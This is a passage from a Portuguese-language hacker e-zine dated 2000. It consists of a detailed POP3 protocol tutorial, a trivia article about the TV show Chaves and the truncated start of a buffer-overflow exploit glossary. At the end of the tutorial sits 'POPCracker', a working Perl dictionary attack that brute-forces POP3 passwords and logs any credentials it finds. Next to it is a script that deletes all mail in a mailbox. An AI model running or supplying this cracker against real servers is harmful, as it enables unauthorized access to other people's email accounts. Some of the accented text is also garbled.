Autenticacao - Quando voce entra com o login e a senha
Transacao - Voce le seus e-mails
Atualizacao - Voce fecha sua mailbox e sai do servidor.
Voce sempre pode sair do servidor usando o comando QUIT independente
de que estado voce esteja no momento.
Ha ainda no RFC1225 especificacoes sobre outros comandos complementares
do protocolo POP3 que nao sao obrigatorios a ser implementados nos
servidores POP3. Alguns servidores POP3 podem nao suporta-lo. Em todo
caso, eh melhor utilizar somente os comandos padroes do protocolo POP3
descritos como padroes. Caso tenha certeza que seu servidor POP3 suporta
esses comandos, eles podem ser usados pois permitem uma maior liberdade
quanto ao gerenciamento da mailbox.
--------------
| Autenticacao |
--------------
Eh o estado em que o cliente POP3 se encontra quando se conecta
ao servidor POP3, antes de se autenticar. Autenticar eh fazer com
que o servidor reconheca quem voce eh. O mesmo usuario nao pode
logar-se duas vezes simultaneamente no servidor POP3, porque quando
o primeiro efetuar o logon no servidor POP3 ira dar um LOCK, ou
seja, travar o arquivo que guarda as mensagens de e-mail.
Ha 2 comandos que devem ser usados na autenticacao:
USER <login>
Diz ao servidor que somos o usuario <login>, que no caso dos
servidores POP3 para linux, deve constar no /etc/shadow.
Respostas:
+OK Please send a PASS command
O servidor aceitou seu login como valido e espera pelo comando
PASS.
-ERR I don't know you.
O servidor nao o reconheceu. Envie um outro USER com outro login
ou um QUIT e saia do servidor.
PASS <senha>
Diz ao servidor que quer se logar nele usando o login especificado
pelo comando USER usando a senha <senha> que sera verificada no
/etc/shadow.
Respostas:
+OK Maildrop has 2 messages
O servidor reconheceu seu login e senha e agora voce esta logado
e sua mailbox esta travada (locked).
-ERR Invalid login. Try again or get out.
-ERR Unable to lock mailbox. File already locked.
No primeiro caso, voce nao conseguiu logar porque escreveu a senha
errada. No segundo caso voce logou no servidor com a senha correta
mas nao conseguiu abrir a sua mailbox porque ela esta travada. Isso
pode ocorrer por 2 fatores: Ou eh um problema no servidor, o que ja
aconteceu comigo quando lia meu e-mail no iG, por exemplo, ou pode
ser que outro pessoa esteja no momento lendo seus e-mails....
Entre com um novo USER/PASS ou de um QUIT.
EXEMPLOS:
Autenticado com sucesso:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 2 messages
Erro ao autenticar por usuario invalido:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchax
+ERR I don't know you.
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 2 messages
Erro ao autenticar por mailbox travada:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
-ERR Can't get mailbox lock.
QUIT
+OK See ya later...
------------------------
| Comandos Extras do |
| Estado de Autenticacao |
------------------------
RPOP <login>
Esse comando eh usado no estado de Autenticacao no lugar do comando
PASS. Para usar esse comando, o cliente POP3 deve usar uma porta
reservada (menor que 1024, olhe no /etc/services) para conectar no
servidor. O servidor POP3 ira usar o par USER-RPOP para autenticar o
usuario. O servidor ira ver se o cliente POP3 esta apto a se logar
no servidor de acordo com a sua localizacao. Por exemplo, no
UNIX da Berkeley o .rhosts eh usado para autenticar o cliente POP3.
Como jah percebemos, atraves do uso de outros mecanismos de
autenticacao ao inves de senhas eh possivel ter acesso a varias
outras contas POP3 usando outros hosts considerados seguros, igual
ao rlogin. O uso desse metodo de autenticacao eh desencorajado
por poder ser facilmente burlado tendo-se acesso root em uma maquina
considerada segura.
Respostas:
+OK Maildrop has XX messages
O servidor o reconheceu como usuario e voce obteve acesso ao mailbox.
Voce entra entao para o estado de Transacao.
-ERR Invalid login. Try again or get out.
O servidor nao o reconheceu como usuario que pode ter acesso a essa
conta nesse servidor POP3.
EXEMPLO:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
RPOP pch4xor
-ERR Invalid login
USER pchaz
+OK Please send a PASS command
RPOP pchaz
+OK Maildrop has 1 message
RETR 1
+OK 3321 octets
< ... >
DELE 1
+OK message deleted
QUIT
+OK Sayonara
APOP <login> <MD5>
Este comando serve para substituir o envio de logins e senhas
em texto puro a fim de aumentar a seguranca da transacao,
visto que essas podem ser facilmente capturadas por sniffers
instalados no servidor POP3.
Todos os servidores que suportam esse comando possuem seu banner
de boas-vindas com um texto extra. Ex:
+OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net>
Note esse <1896.697170952@pchazard.net>. Esse pedaco do banner
ira mudar de conexao para conexao. Vamos analiza-lo:
<XXXX.YYYYYYYYY@ZZZZZZZZZZZ>
XXXX = PID do servidor POP3
YYYYYYYYY = horario em que a conexao foi aberta
ZZZZZZZZZZZ = host do servidor POP3
Esses dados sao usados na autenticacao do cliente POP3.
O que o cliente faz:
Quando recebe o banner, ele salva esse pedaco do banner em uma
variavel.
Vamos supor que o login do usuario a logar eh "pchaz" e que a senha
desse login no servidor eh "not4you". Entao o cliente ira pegar o
pedaco do banner <1896.697170952@pchazard.net> e juntar com a senha
que ele acha que eh do login "pchaz". Ficara entao:
<1896.697170952@pchazard.net>not4yoy
Entao o cliente tira o MD5 dessa string e envia como segundo
argumento do APOP.
Ex: MD5("<1896.697170952@pchazard.net>not4yoy") =
c4c9334bac560ecc979e58001b3e22fb
+OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net>
APOP pchaz c4c9334bac560ecc979e58001b3e22fb
+OK maildrop has 1 message (369 octets)
E pronto. O cliente foi autenticado enviando apenas o login sem
a sua senha.
Respostas:
+OK Maildrop has XX messages
O servidor o reconheceu como sendo autenticado e voce estah agora
no estado de Transacao.
-ERR Invalid login. Try again or get out.
O servidor nao o reconheceu como usuario autenticado. Tente novamente
ou saia do servidor.
EXEMPLOS:
Autenticado com sucesso
+OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net>
APOP pchaz c4c9334bac560ecc979e58001b3e22fb
+OK maildrop has 1 message (369 octets)
DELE 1
+OK
QUIT
+OK See ya later...
Erro ao autenticar e depois loga com USER/PASS
+OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net>
APOP pchaz c4c9334bac560ecc979e58001b3e22fb
-ERR Invalid login
USER pchaz
+OK Please enter PASS command
PASS not4you
+OK maildrop has 1 message (369 octets)
DELE 1
+OK
QUIT
+OK See ya later...
-----------
| Transacao |
-----------
Passado essa parte com de autenticacao com sucesso, voce entra para
o estado de Transacao. No estado de transacao, voce esta apto a
gerenciar sua mailbox, lendo e-mails e ate apagando eles. Existem
7 comandos "oficiais" de acordo com o RFC1225 para serem usados nessa
transacao.
STAT
Diz quantas mensagens ha' na sua caixa postal e qual o tamanho de
todas juntas em octetos (letras). Nao possui argumentos.
Respostas:
+OK XX YYYY
Diz que ha' no servidor XX mensagens e o tamanho de todas juntas
eh YYYY letras.
EXEMPLO:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 2 messages
STAT
+OK 2 320
QUIT
+OK See ya later...
LIST [msg#]
Faz a mesma coisa que o STAT, mas com mensagens especificas ao
invez de gerais. O parametro [msg#] eh opcional e indica o numero
da mensagem que deve ser recebida as informacoes. Caso o parametro
nao seja dado, sera listada informacoes sobre todas as mensagens na
mailbox e a resposta do servidor serah multi-linha, ou seja, tera
varias linhas e terminarah com um <CRLF>.<CRLF>
Respostas:
Sem parametro
+OK AA messages (BBB octets)
XX YYYY
XX YYYY
Diz que ha AA mensagens na mailbox, com o tamanho de BBB letras
ao todo. Para cada mensagem na mailbox eh gerada uma linha
que diz que a mensagem numero XX possui YYYY letras.
Com parametro
+OK XX YYYY
Diz que a mensagem XX possui YYYY letras.
Em caso de erro
-ERR no such message
Diz que a mensagem especificada como parametro nao existe.
EXEMPLO:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 2 messages
LIST 1
+OK 1 320
LIST
+OK 2 messages (500 octets)
1 320
2 180
LIST 3
-ERR no such message
QUIT
+OK See ya later...
RETR <msg#>
Recebe a mensagem especificada no parametro <msg#>
Esta mensagem nao deve estar marcada para ser removida.
Se o maior numero da ultima mensagem acessada foi menor que
<msg#> ele serah atualizado para <msg#> (sera discutido no
comando LAST)
Respostas:
+OK YYYY octets
Diz que a mensagem <msg#> possui YYYY linhas e logo apos envia
a mensagem. Lembre-se que a mensagem inclui o cabecalho, apesar
do servidor POP3 nao diferenciar corpo e cabecalho do e-mail.
O fim da mensagem eh marcado por um <CRLF>.<CRLF>
-ERR no such message
A mensagem especificada em <msg#> nao existe ou esta marcada para
ser removida.
EXEMPLO:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 2 messages
RETR 1
+OK 3321 octets
Subject: ah se tu soubesses...
Ha se tu soubesses como sou tao carinhoso
e o muito muito que te quero
na fugirias mais de mim...
Ass. Sua admiradora secreta. pcHazard, vc eh um gato,
eu te amo e faco qq coisa por voce !!!!
.
+RETR 3
-ERR no such message
QUIT
+OK See ya later...
DELE <msg#>
Deleta a mensagem especificada no parametro <msg#> da sua mailbox.
Esta mensagem nao deve estar marcada para ser removida.
Se o maior numero da ultima mensagem acessada foi menor que
<msg#> ele serah atualizado para <msg#>
Respostas:
+OK message deleted
Diz que a mensagem <msg#> foi removida com sucesso da sua mailbox.
-ERR no such message
A mensagem especificada em <msg#> nao existe ou ja foi removida.
EXEMPLO:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 2 messages
DELE 1
+OK message deleted
RETR 1
-ERR no such message
QUIT
+OK See ya later...
NOOP
Naum faz nada, apenas dah uma resposta positiva.
Respostas:
+OK
LAST
Este comando retorna o maior numero da ultima mensagem acessada
na mailbox. Se voce leh a mensagem 5, seu LAST vai ser 5. Se vc
depois ler a mensagem 3, seu LAST continua sendo 5. Ele continua
valendo mesmo se vc fechar a conexao atual e abrir outra sessao no
servidor POP3. Ele serve pra que, se vc nao puxou todas as mensagens
em uma sessao, depois vc pode pegar o numero da ultima mensagem que
voce pegou e continuar a pegar os e-mails de onde parou.
Respostas:
+OK YY
Diz que o maior numero da ultima mensagem acessada foi a YY.
EXEMPLO:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 13 messages
LAST
+OK 1
RETR 1
< ... >
LAST
+OK 1
RETR 12
< ... >
LAST
+OK 12
RETR 5
< ... >
LAST
+OK 12
QUIT
+OK See ya later...
RSET
Esse comando serve para voce reiniciar a sessao atual. Todas as
mensagens que estavam marcadas para serem removidas sao desmarcadas
e voltam para a mailbox como mensagens normais. Seu LAST volta para
o valor que possuia quando vc iniciou a sessao. Ela sempre gera uma
resposta positiva.
Respostas:
+OK
Diz que a sessao foi reiniciada com sucesso.
EXEMPLO:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 3 messages
DELE 1
+OK message deleted
DELE 2
+OK message deleted
DELE 3
+OK message deleted
STAT
+OK 0 0
RSET
+OK
STAT
+OK 3 3342
QUIT
---------------------------
| Comandos Extras do Estado |
| de Transacao |
---------------------------
TOP <msg#> <linhas>
Esse comando serve pra voce pegar um "resumo" ou saber do que uma
mensagem trata. O parametro <msg#> eh o numero da mensagem e <linhas>
eh o numero de linhas do corpo da mensagem a enviar. A <msg#> nao
deve ser uma mensagem marcada para remocao. Apos enviar esse comando
e a resposta do servidor for positiva, o servidor enviara o cabecalho
da mensagem mais <linhas> linhas do corpo da mensagem. Nesse caso,
a resposta sera multi-linha e terminara com um <CRLF.CRLF>
Se <linhas> for maior que o numero de linhas da mensagem, toda a
mensagem serah enviada.
Respostas:
+OK
< ... Cabecalho+Corpo ... >
-ERR no such message
A mensagem especificada em <msg#> nao existe ou esta marcada para
remocao.
EXEMPLO:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 1 message
TOP 1 4
+OK
Mail from: jenny@aol.com
Subject: I can't live without you, pcHazard !
pcHazard,
In all my life I never know a man like you.
You are intelligent, wonderful and I love you deeply.
I try to forget you, but you don't get out of my thinks and
.
DELE 1
+OK message deleted
QUIT
UIDL [msg#]
Esse comando retorna uma chave que diferencia uma mensagem de outra
do servidor. Nao existe mensagens diferentes com o mesmo UIDL
que significa Unique ID Listing. Seu argumento eh opcional, e se for
dado, nao deve ser uma mensagem marcada para remocao. Se nao for
dado, sera dada uma lista com os UIDLs de todas as mensagems do
servidor. A resposta serah multi-linha e terminarah com um
<CRLF>.<CRLF>
O UIDL de cada mensagem eh determinado pelo servidor e consiste
de caracteres entre 0x21 e 0x7E. Ele se mantem mesmo em sessoes
diferentes e mensagens marcadas para remocao nao terao seus UIDLs
listados.
Respostas:
+OK unique-id listing follows
A lista de UIDLs serah listada apos essa mensagem positiva.
-ERR no such message
A mensagem especificada em [msg#] nao existe.
EXEMPLO:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 3 messages
UIDL 1
+OK 1 whqtswO00WBw418f9t5JxYwZ
UIDL 4
-ERR no such message
UIDL
1 whqtswO00WBw418f9t5JxYwZ
2 QhdPYR:00WBw1Ph7x7
3 YuqrTS:00WBw4PjxZ
.
QUIT
+OK See ya later...
-------------
| Atualizacao |
-------------
Teoricamente, este estado eh tao util quando aquela nota que fica
sobrando quando vc passa de ano no colegio :-)
Quando voce entra pra este estado, o servidor POP3 destrava sua
caixa postal (mailbox) e finaliza a conexao.
Mas, se voce ainda nao tiver logado no servidor e dar um QUIT,
voce eh disconectado do servidor sem passar por esse estado.
Por que? Porque esse estado serve pra dizer que o servidor fechou
sua caixa postal, e se vc ainda nao tiver logado, sua caixa postal
nem se quer estara aberta. Para entrar nesse estado deve-se estar
no estado Transacao e usa-se o comando:
QUIT
Diz ao servidor que voce tah cansado de pegar e-mails e que
tah a fim de sair dele. Entao ele destrava sua mailbox e te
disconecta. Sua resposta sempre eh positiva.
Respostas:
+OK See ya later...
O servidor ja destravou (unlock) sua mailbox e esta pronto para
finalizar a conexao. Eh a ultima coisa que se recebe antes de
desconectar-se do servidor.
-----------------
| Sessoes POP3 de |
| Exemplo |
-----------------
Login com sucesso:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 3 messages
QUIT
+OK see ya later
Erro no login:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
-ERR Invalid login
QUIT
+OK see ya later
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
-ERR User unknow
QUIT
+OK see ya later
Nao ha e-mails na mailbox:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 0 messages
STAT
+OK 0 0
QUIT
+OK see ya later
Recebendo e-mails:
+OK pcHazard Personal POP3 Server v0.01 servicing you
USER pchaz
+OK Please send a PASS command
PASS pchaz
+OK Maildrop has 3 messages
STAT
+OK 3 333
LIST
+OK list follows
1 111
2 111
3 111
.
RETR 1
+OK
< ... mensagem ... >
.
DELE 1
+OK message deleted
RETR 2
+OK
< ... mensagem ... >
.
DELE 2
+OK message deleted
RETR 3
+OK
< ... mensagem ... >
.
DELE 3
+OK message deleted
QUIT
+OK see ya later
------------------
| Clientes POP3 de |
| Exemplo |
------------------
Password Cracker
<++> protocolos/pop3/popcrack.pl
#!/usr/bin/perl
use IO::Socket;
if ($#ARGV != 2)
{
print "\n\n ---=[ POPCracker v1.0 ]=---\n";
print "POPCracker v1.0 - by pcHazard\n";
print "\nUso: popcrack.pl <servidor_pop3> <login> <lista_senha>\n\n";
exit 0;
}
my $servidor = $ARGV[0];
my $login = $ARGV[1];
my $listasenha = $ARGV[2];
my $sock;
my $senha;
print "\nConectando ao Servidor $servidor...\n";
$sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp');
if ($sock)
{
print "Conectado.\n";
recv($sock,$msg,4096,0);
open(LISTA, "< $listasenha") || die "Erro abrindo lista de senhas.\n";
lblSenha: while (<LISTA>)
{
$senha = $_;
$senha = substr($senha,0,length($senha)-1);
next lblSenha if ($senha eq "");
checklogin();
}
print $sock "QUIT\n";
close $sock;
}
else
{
print "Erro ao Estabelecer Conexao Com Servidor.\n";
}
print "\n\n ---=[ POPCracker v1.0 ]=---\n";
print "POPCracker v1.0 - by pcHazard\n";
print "<cybercrash\@ig.com.br>\n";
print "\n\n";
sub checklogin
{
print STDERR "\n[L:$login] [S:$senha] ";
print $sock "USER $login\n";
recv($sock,$msg,4096,0);
if (valida($msg) == 1)
{
return 1;
}
print $sock "PASS $senha\n";
recv($sock,$msg,4096,0);
if (valida($msg) == 1)
{
return 1;
}
else
{
print STDERR "FOUND";
escreve("cracklog","Servidor: $servidor [L=$login] [S=$senha]\n");
close $sock;
$sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp');
exit 0 if (!$sock);
recv($sock,$msg,1024,0);
return 0;
}
}
sub valida
{
$str = @_[0];
if (substr($str,0,3) eq "+OK")
{
return 0;
}
else
{
return 1;
print $sock "QUIT\n";
close $sock;
$sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp');
exit 0 if (!$sock);
}
}
sub escreve
{
my($arq, $txt) = @_;
open(LOG, ">> $arq");
print LOG "$txt";
close LOG;}
<-->
Limpador de Mailbox
<++> protocolos/pop3/mbclean.pl
#!/usr/bin/perl
use IO::Socket;
if ($#ARGV != 2)
{
print "\n\n ---=[ MBClean v1.0 ]=---\n";
print "MBClean v1.0 - by pcHazard\n";
print "\nUso: mbclean.pl <servidor_pop3> <login> <senha>\n\n";
exit 0;
}
my $servidor = $ARGV[0];
my $login = $ARGV[1];
my $senha = $ARGV[2];
my $sock;
print "\nConectando ao Servidor $servidor...\n";
$sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp');
if ($sock)
{
print "Conectado.\n";
recv($sock,$msg,4096,0);
if (valida($msg) == 0)
{
print $sock "USER $login\n";
recv($sock,$msg,4096,0);
if (valida($msg) == 0)
{
print $sock "PASS $senha\n";
recv($sock,$msg,4096,0);
if (valida($msg) == 0)
{
print "Logado com sucesso no Servidor.\n";
print $sock "STAT\n";
recv($sock,$msg,4096,0);
$total = ((split(" ",$msg))[1]);
$octets = ((split(" ",$msg))[2]);
print "Ha $total Mensagen(s) Na Sua Caixa ($octets)\n";
if ($total != 0)
{
RCV: for (1 .. $total)
{
my $msgnum = $_;
unlink 'MSG#$msgnum';
print STDERR "Deletando Mensagem $msgnum de $total... ";
print $sock "DELE $msgnum\n";
recv($sock,$msg,1024,0);
print STDERR "OK\n";
}
print $sock "QUIT\n";
close $sock;
}
else
{
print "Nao ha mensagens a serem apagadas.\n";
}
}
else
{
print "Usuario-Senha Incorreto. Tente Novamente.\n";
exit 0;
}
}
else
{
print "Erro usando login: $login\n";
}
}
}
else
{
print "Erro ao Estabelecer Conexao Com Servidor.\n";
}
print "\n\n ---=[ MBClean v1.0 ]=---\n";
print "MBClean v1.0 by pcHazard\n";
print "<cybercrash\@ig.com.br>\n";
print "\n\n";
sub valida
{
$str = @_[0];
if (substr($str,0,3) eq "+OK")
{
return 0;
}
else
{
return 1;
}
}
<-->
Leitor de e-mails
<++> protocolos/pop3/pcmail.pl
#!/usr/bin/perl
use IO::Socket;
if ($#ARGV != 2)
{
print "\n\n ---=[ pcMail v1.0 ]=---\n";
print "pcMail v1.0 - by pcHazard\n";
print "\nUso: pcmail <servidor_pop3> <login> <senha>\n\n";
exit 0;
}
my $servidor = $ARGV[0];
my $login = $ARGV[1];
my $senha = $ARGV[2];
my $sock;
my $msg;
my $total;
my $octets;
print "\nConectando ao Servidor $servidor...\n";
$sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp');
if ($sock)
{
print "Conectado.\n";
recv($sock,$msg,4096,0);
if (valida($msg) == 0) {
print $sock "USER $login\n";
recv($sock,$msg,4096,0);
if (valida($msg) == 0)
{
print $sock "PASS $senha\n";
recv($sock,$msg,4096,0);
if (valida($msg) == 0)
{
print "Logado com sucesso no Servidor.\n";
print $sock "STAT\n";
recv($sock,$msg,4096,0);
$total = ((split(" ",$msg))[1]);
$octets = ((split(" ",$msg))[2]);
print "Ha $total Mensagen(s) Na Sua Caixa ($octets)\n";
if ($total != 0)
{
RCV: for (1 .. $total)
{
my $msgnum = $_;
unlink 'MSG#$msgnum';
print "Recebendo Mensagem $msgnum de $total...\n";
my $mensagem;
my $EOM = "\015\012.\015\012";
print $sock "RETR $msgnum\n";
recv($sock,$msg,1,0);
while (substr($msg,length($msg)-length($EOM),length($EOM)) ne $EOM)
{
recv($sock,$msg,100000,0);
escreve("MSG#$msgnum", "$msg");
}
}
print $sock "QUIT\n";
close $sock;
}
else
{
print "Nao ha mensagens a serem lidas.\n";
}
}
else
{
print "Usuario-Senha Incorreto. Tente Novamente.\n";
exit 0;
}
}
else
{
print "Erro usando login: $login\n";
}
}
}
else
{
print "Erro ao Estabelecer Conexao Com Servidor.\n";
}
print "\n\n---=[ pcMail v1.0 ]=---\n";
print "pcMail v1 by pcHazard\n";
print "cybercrash\@ig.com.br\n";
print "\n\n";
sub valida
{
$str = @_[0];
if (substr($str,0,3) eq "+OK")
{
return 0;
}
else
{
return 1;
}
}
sub escreve
{
my($arq, $txt) = @_;
open(LOG, ">> $arq");
print LOG "$txt";
close LOG;
}
<-->
-----------
| Conclusao |
-----------
Espero que tenha entendido como o protocolo POP3 funciona, e o que
"acontece" por traz do seu cliente de e-mails... Creio que se vc
entendeu, agora pode fazer seus proprios clientes de e-mail e entender
melhor o funcionamento dos servidores POP3. blah blah blah ...
Se vc naum entendeu, releia. Se continuou nao entendendo, leia o
RFC original. Se continuou nao entendendo, passe a diante, porque
essa aqui nao eh a sua praia...
Talvez no issue que vem da F3 tem mais protocolo...
Sayonara !
-= Anapolis, GO, Brasil 28 Dez 2000 14:34:35 =-
-= 2000 by pcHazard <cybercrash@ig.com.br> =-
-= Another 15 years old guy =-
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 08 - C⁄RIOSIDADES SOBRE ~YXXXXx_
_xXXXXXX( O CHAVES )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
No momento cultural inutil de hoje, nos vamos falar sobre o
chaves-chavito-chaves!!! Quem nao curte ou nao curtiu um bom
e velho Chaves e Chapolin???
Ate' hj eu assisto diariamente os mesmos epsodios q assistia
qdo tinha 5 anos de idade e ainda acho tudo mto hilario. Talvez
ate' mais engracado do q qdo eu era um pia' pq agora eu entendo
umas piadas q nao entendia antigamente e melhor... Agora acho +
graca nos erros dos atores do que nos roteiros.
Bem... vc pode ate' nao curtir, mas aposto q vai se interessar
em saber o que aconteceu com os atores deste programa. Por isso
decidi publicar aqui um txt q encontrei um tempo atras e achei mto
maneiro. Nao sei quem e' o autor deste texto e nem lembro onde foi
que o encontrei.
Issu ae. Divirtao-se!
-------------
J· houve v·rios boatos sobre a morte dos atores do seriado Chaves.
Um deles, que se espalhou por todo o mundo, era a respeito de um
acidente aÈreo que havia matado todos eles.
Na verdade era sÛ mais um dos muitos outros boatos. Dizia-se atÈ
mesmo que o acidente realmente havia acontecido e eles teriam saÌdo
ilesos, mas isso tambÈm era mentira.
Roberto GÛmez BolaÒos (Chaves) e Florinda Meza (Dona Florinda) s„o
casados na vida real. Ela, antes, tinha um caso com Carlos Villagr·n
(Quico).
AtÈ hoje, trÍs atores do seriado Chaves faleceram.
RamÛn ValdÈz (Seu Madruga) morreu de c‚ncer no pulm„o devido ao fumo
em excesso. Angelines Fernandez (Dona Clotilde) e Raul "Chato" Padilla
(Jaiminho, o carteiro) morreram graÁas a problemas decorrentes da
velhice.
O ator que interpretava o Godinez (Hor·cio GÛmez BolaÒos) era o
irm„o de Roberto GÛmez BolaÒos. Depois do fim da sÈrie ele se tornou
diretor de cinema e veio a falecer tempos depois.
Carlos Villagr·n (Quico) se afastou da sÈria por motivos de brigas
com os outros atores. Ele disse numa entrevista que o personagem Quico
estava se tornando mais popular que o Chaves, ent„o quiseram diminuir o
seu papel. Ele n„o aceitou e resolveu sair para fazer carreira solo.
Mas isso È sÛ um lado da histÛria...
No seriado que Carlos Villagr·n fez depois de largar o elenco de
Chaves, seu personagem era um empregado de um hotel.
RamÛn ValdÈz (Seu Madruga) tambÈm participou desse seriado, que foi
produzido na Venezuela, mas n„o teve tanto sucesso. O seriado atÈ
chegou a ser exibido no Brasil por um tempo, atravÈs da Rede
Bandeirantes.
RamÛn ValdÈz (Seu Madruga) faleceu durante as gravaÁıes de Chaves.
Foi quando Quico foi morar com as tias (pois Carlos Villagr·n se
afastou da sÈrie) e Dona Florinda abriu seu restaurante.
Tentaram substiruir Seu Madruga pela bisavÛ da Chiquinha, Dona Neves,
tambÈm interpretada por Maria Antonieta de las Nieves. Foi em v„o, n„o
havia mais como continuar gravando o seriado.
Edgar Vivar teve h· algum tempo complicaÁıes cardÌacas e ficou
internado num hospital em Hollywood, Estados Unidos.
Felizmente nada de grave aconteceu e hoje ele tem seu prÛprio circo,
que faz shows por toda a AmÈrica Central e do Sul. Curiosamente o
MÈxico È o ˙nico lugar onde n„o interessa ao humorista apresentar seus
shows.
Maria Antonieta de las Nieves hoje em dia tem seu prÛprio programa
humorÌstico na Televisa. Ele se chama La Chilindrina, nome original de
sua personagem Chiquinha.
RubÈn Aguirre (Professor Girafales) era um empregado da produÁ„o
tÈcnica da Televisa e foi convidado pelo prÛprio BolaÒos para participar
de seus seriados.
Carlos Villagr·n hoje mora na Argentina e tem seu prÛprio circo, que,
ali·s, veio fazer uns shows no Brasil h· algum tempo. O humorista foi,
inclusive, no Programa Livre e no JÙ Soares Onze e Meia.
Quando comeÁaram as gravaÁıes de Chaves, a Televisa n„o pagava para
comprar material para o cen·rio. Quem tinha que arrumar o dinheiro era
o prÛprio Roberto GÛmez BolaÒos. Ele ent„o fazia os cen·rios com
material barato, como isopor e papel„o.
E nos episÛdios antigos, o ch„o da vila È o ch„o do prÛprio est˙dio.
Chaves È exibido no Brasil h· mais de 16 anos pelo SBT. No comeÁo
foram comprados apenas 15 episÛdios para serem exibidos durante o
programa do palhaÁo Bozo (lembra-se?). Fez tanto sucesso que logo
depois foram comprados mais episÛdios.
Chaves faz sucesso atÈ hoje em toda a AmÈrica Latina, mas os paÌses
em que o seriado ainda mais faz sucesso s„o Brasil, Venezuela, Chile e
Argentina. Curiosamente o MÈxico n„o È um dos paÌses em que o seriado
ainda faz mais sucesso.
Quando foi lanÁado, Chaves chegava a atingir 60 pontos de audiÍncia
no MÈxico. Era o lÌder do hor·rio.
O personagem Chapolin Colorado È uma s·tira aos poderosos super-herÛis
americanos. Se formos comparar, podemos encontrar algumas semelhanÁas
entre Chapolin e outros herÛis, como por exemplo sua marreta biÙnica,
que pode ser uma brincadeira com o martelo do Thor; e seu alerta das
anteninhas de vinil quando sentem a presenÁa do inimigo (sentido de
aranha?).
O criador dos Simpsons era mais um dos f„s de Roberto GÛmez BolaÒos.
Em v·rios episÛdios do desenho animado The Simpsons aparece o personagem
Homem-Abelha Mexicano, um sujeito baixinho e gordinho vestido de abelha.
Trata-se de uma homenagem ao Chapolin Colorado.
A equipe de dublagem fazia o que podia para dublar os episÛdios de
Chaves em que o Professor Girafales dava aula de HistÛria.
AtÈ que, no ˙ltimo deles, a equipe desistiu de dublar com a HistÛria
do Brasil, deixando a HistÛria do MÈxico.
-----EoF-----
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 09 - Overfl0w Dictionaty ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Nao se desespere! Nao eh OUTRA materia explicando como xploitar um
buffer overflow. Aki vc vai encontrar a explicacao de diversos termos
usados por programadores de xploits para buffer overflows.
Como as vezes issu e' confundido pelo povo, decidi explicar a dife-
renca nas tekneeks e o significado de certas palavras para que da
proxima vez q vc ler algo sobre isso, nao fike viajando.
Bind-Shellcode
##############
O nome mesmo ja diz. Eh um shellcode q bindeia uma porta para, na
maioria das vezes, abrir uma shell remota.
Break-chroot
############
O chroot cria um ambiente restrito a certos usuarios.
Um exemplo classico eh encontrado no ftp. Mtos begginers ao entrar num
ftp restrito (com login anonymous) pensam estar na raiz do sistema ao
darem "cd /". Na verdade eles estao no diretorio "/home/ftp". Issu eh uma
restricao do chroot.
Esta tecnica quebra a barreira criada pelo chroot.
Heap Overflow
#############
Eh o termo usado qdo nosso xploit atinge a area de dados do programa
bugzado e sobrescreve o ponteiro de certas funcoes ou variaveis.
Parece confuso?? Bem... esta tekneek foi bem explicada na BOS pelo
Thiago Zaninotti (c0nd0r). A materia se encontra nesta zine.
Offsets
#######
Sao numeros q sao somados ou diminuidos a um endereco inicial ate' que
o Return_Address do buffer exploitado seja alcancado.
Return-into-libc
################
